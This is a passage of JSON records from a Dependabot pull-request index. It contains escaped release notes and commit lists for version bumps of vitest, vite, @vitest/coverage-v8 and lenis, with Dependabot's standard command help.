--\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=vitest\u0026package-manager=npm_and_yarn\u0026previous-version=5.0.3\u0026new-version=5.0.5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/internxt/send-web/pull/352","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/internxt%2Fsend-web/issues/352","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/352/packages"},{"uuid":"6008220532","node_id":"PR_kwDOUw6Ytc8AAAABKYVnUA","number":111,"state":"closed","title":"chore(deps): bump the runtime-and-ui group across 1 directory with 4 updates","user":"dependabot[bot]","labels":["dependencies","area: runtime","area: ui","area: packaging","tier: core","size: s"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-24T02:28:58.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-24T01:54:39.000Z","updated_at":"2026-10-24T02:29:03.000Z","time_to_close":2059,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"runtime-and-ui","update_count":4,"packages":[{"name":"lenis","old_version":"1.3.26","new_version":"1.3.27","repository_url":"https://github.com/darkroomengineering/lenis"},{"name":"@vitest/coverage-v8","old_version":"3.2.4","new_version":"3.2.7","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"vite","old_version":"6.4.3","new_version":"6.4.4","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"3.2.4","new_version":"3.2.7","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the runtime-and-ui group with 4 updates in the / directory: [lenis](https://github.com/darkroomengineering/lenis), [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8), [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest).\n\nUpdates `lenis` from 1.3.26 to 1.3.27\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/darkroomengineering/lenis/releases\"\u003elenis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.3.27\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix \u003ccode\u003elenis\u003c/code\u003e class coming back after \u003ccode\u003edestroy()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003escrollTo()\u003c/code\u003e accepts SVG elements\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/e01eefb1f55cd08bc051521d74f5f8182b71ee9d\"\u003e\u003ccode\u003ee01eefb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/558\"\u003e#558\u003c/a\u003e from darkroomengineering/release/v1.3.27\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/08868fc1e49d4b076d9efc954b926306b0e20a2f\"\u003e\u003ccode\u003e08868fc\u003c/code\u003e\u003c/a\u003e v1.3.27\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/1f60fb9199a823f10fb23f7df55011defbb2747a\"\u003e\u003ccode\u003e1f60fb9\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/557\"\u003e#557\u003c/a\u003e from darkroomengineering/fix/svg-scroll-targets-v1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/ef84677a7a6e89f6c1f6c916c95a52bbcba3950a\"\u003e\u003ccode\u003eef84677\u003c/code\u003e\u003c/a\u003e fix(core): accept SVG elements as scrollTo targets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/ad99a23b682756c5ccafa6dd037ebd795ce2e9b0\"\u003e\u003ccode\u003ead99a23\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/542\"\u003e#542\u003c/a\u003e from cipherprofessor/fix/clear-reset-velocity-timeout...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/bc152f90d7c9b04ef372718350e2f616f3c706b2\"\u003e\u003ccode\u003ebc152f9\u003c/code\u003e\u003c/a\u003e chore: point CODEOWNERS at the engineering team (\u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/547\"\u003e#547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/2e14ce85aa482d869799df4a25a872bb74400676\"\u003e\u003ccode\u003e2e14ce8\u003c/code\u003e\u003c/a\u003e fix(core): clear pending native-scroll velocity timeout on destroy()\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/darkroomengineering/lenis/compare/v1.3.26...v1.3.27\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 3.2.4 to 3.2.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.2.7\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10679\"\u003evitest-dev/vitest#10679\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b795e36b3\"\u003e\u003c!-- raw HTML omitted --\u003e(b795e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.6...v3.2.7\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.6\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePin last supported vite-node version  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d05\"\u003e\u003c!-- raw HTML omitted --\u003e(16f12)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.5...v3.2.6\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.5\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e: Add \u003ccode\u003eallowWrite\u003c/code\u003e and \u003ccode\u003eallowExec\u003c/code\u003e options to \u003ccode\u003eapi\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10445\"\u003evitest-dev/vitest#10445\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/af88b1f5d\"\u003e\u003c!-- raw HTML omitted --\u003e(af88b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug 